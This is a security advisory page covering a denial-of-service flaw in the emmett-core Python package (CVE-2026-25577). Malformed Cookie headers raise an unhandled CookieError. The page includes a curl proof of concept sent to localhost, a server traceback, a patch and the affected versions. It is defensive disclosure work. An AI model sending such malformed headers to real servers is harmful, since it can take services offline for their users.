Emmett-Core: Unhandled CookieError Exception Causing Denial of Service
Summary
The cookies property in emmett_core.http.wrappers.Request does not handle
CookieError exceptions when parsing malformed Cookie headers. This allows
unauthenticated attackers to trigger HTTP 500 errors and cause denial of service.
Details
Location: emmett_core/http/wrappers/__init__.py (line 64)
Vulnerable Code:
@cachedprop
def cookies(self) -> SimpleCookie:
cookies: SimpleCookie = SimpleCookie()
for cookie in self.headers.get("cookie", "").split(";"):
cookies.load(cookie) # No exception handling
return cookiesPoC
Sending cookies containing special characters such as /(){} will result in insufficient error handling and a server error.
$ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:/security=test"
Internal error
Time: 0.024363sAfter the same error occurs several times, the server cannot process it normally.
$ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:(security=test"
Internal error
Time: 60.069334s
$ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:security=test"
Internal error
Time: 60.074031sThis is server log.
[2026-02-03 08:23:40,541] ERROR in handlers: Application exception:
Traceback (most recent call last):
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett/rsgi/handlers.py", line 70, in dynamic_handler
http = await self.router.dispatch(request, response)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/router.py", line 240, in dispatch
return await match.dispatch(reqargs, response)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py", line 57, in dispatch
await self._parallel_flow(self.flow_open)
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py", line 17, in _parallel_flow
raise task.exception()
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/sessions.py", line 102, in open_request
if self.cookie_name in self.current.request.cookies:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/utils.py", line 37, in __get__
obj.__dict__[self.__name__] = rv = self.fget(obj)
~~~~~~~~~^^^^^
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/http/wrappers/__init__.py", line 64, in cookies
cookies.load(cookie)
~~~~~~~~~~~~^^^^^^^^
File "/usr/lib/python3.13/http/cookies.py", line 516, in load
self.__parse_string(rawdata)
~~~~~~~~~~~~~~~~~~~^^^^^^^^^
File "/usr/lib/python3.13/http/cookies.py", line 580, in __parse_string
self.__set(key, rval, cval)
~~~~~~~~~~^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.13/http/cookies.py", line 472, in __set
M.set(key, real_value, coded_value)
~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.13/http/cookies.py", line 335, in set
raise CookieError('Illegal key %r' % (key,))
http.cookies.CookieError: Illegal key '/security'Impact
This vulnerability allows unauthenticated attackers to cause denial of service and performance degradation by sending malformed Cookie headers. After this vulnerability occurs, we expect it to be difficult to use the normal service.
patch
/emmett_core/http/wrappers/__init__.py
- from http.cookies import SimpleCookie
+ from http.cookies import SimpleCookie, CookieError # add CookieError
...
...
@cachedprop
def cookies(self) -> SimpleCookie:
cookies: SimpleCookie = SimpleCookie()
for cookie in self.headers.get("cookie", "").split(";"):
- cookies.load(cookie)
+ try:
+ cookies.load(cookie)
+ except CookieError:
+ continue
return cookiesAffected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | emmett-core | < 1.3.11 | 1.3.11 |
References
- https://github.com/emmett-framework/core/security/advisories/GHSA-x6cr-mq53-cc76
- https://nvd.nist.gov/vuln/detail/CVE-2026-25577
- https://github.com/emmett-framework/core/commit/9557ea23a27cbadf7774d8bca6bbe4b54fa8a3ec
- https://github.com/emmett-framework/core/commit/c126757133e118119a280b58f3bb345b1c9a8a2a
- https://github.com/emmett-framework/core
- https://pypi.org/project/emmett-core
- https://github.com/advisories/GHSA-x6cr-mq53-cc76
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-248, CWE-703- Platform
- Python (PyPI)
- Package
emmett-core- Disclosed
- 10.02.2026
- Updated
- 11.10.2026 14:18
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-2469 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-x6cr-mq53-cc76 - CC BY 4.0
Vulnerability history: emmett-core
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
This is the only known vulnerability of this package.
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.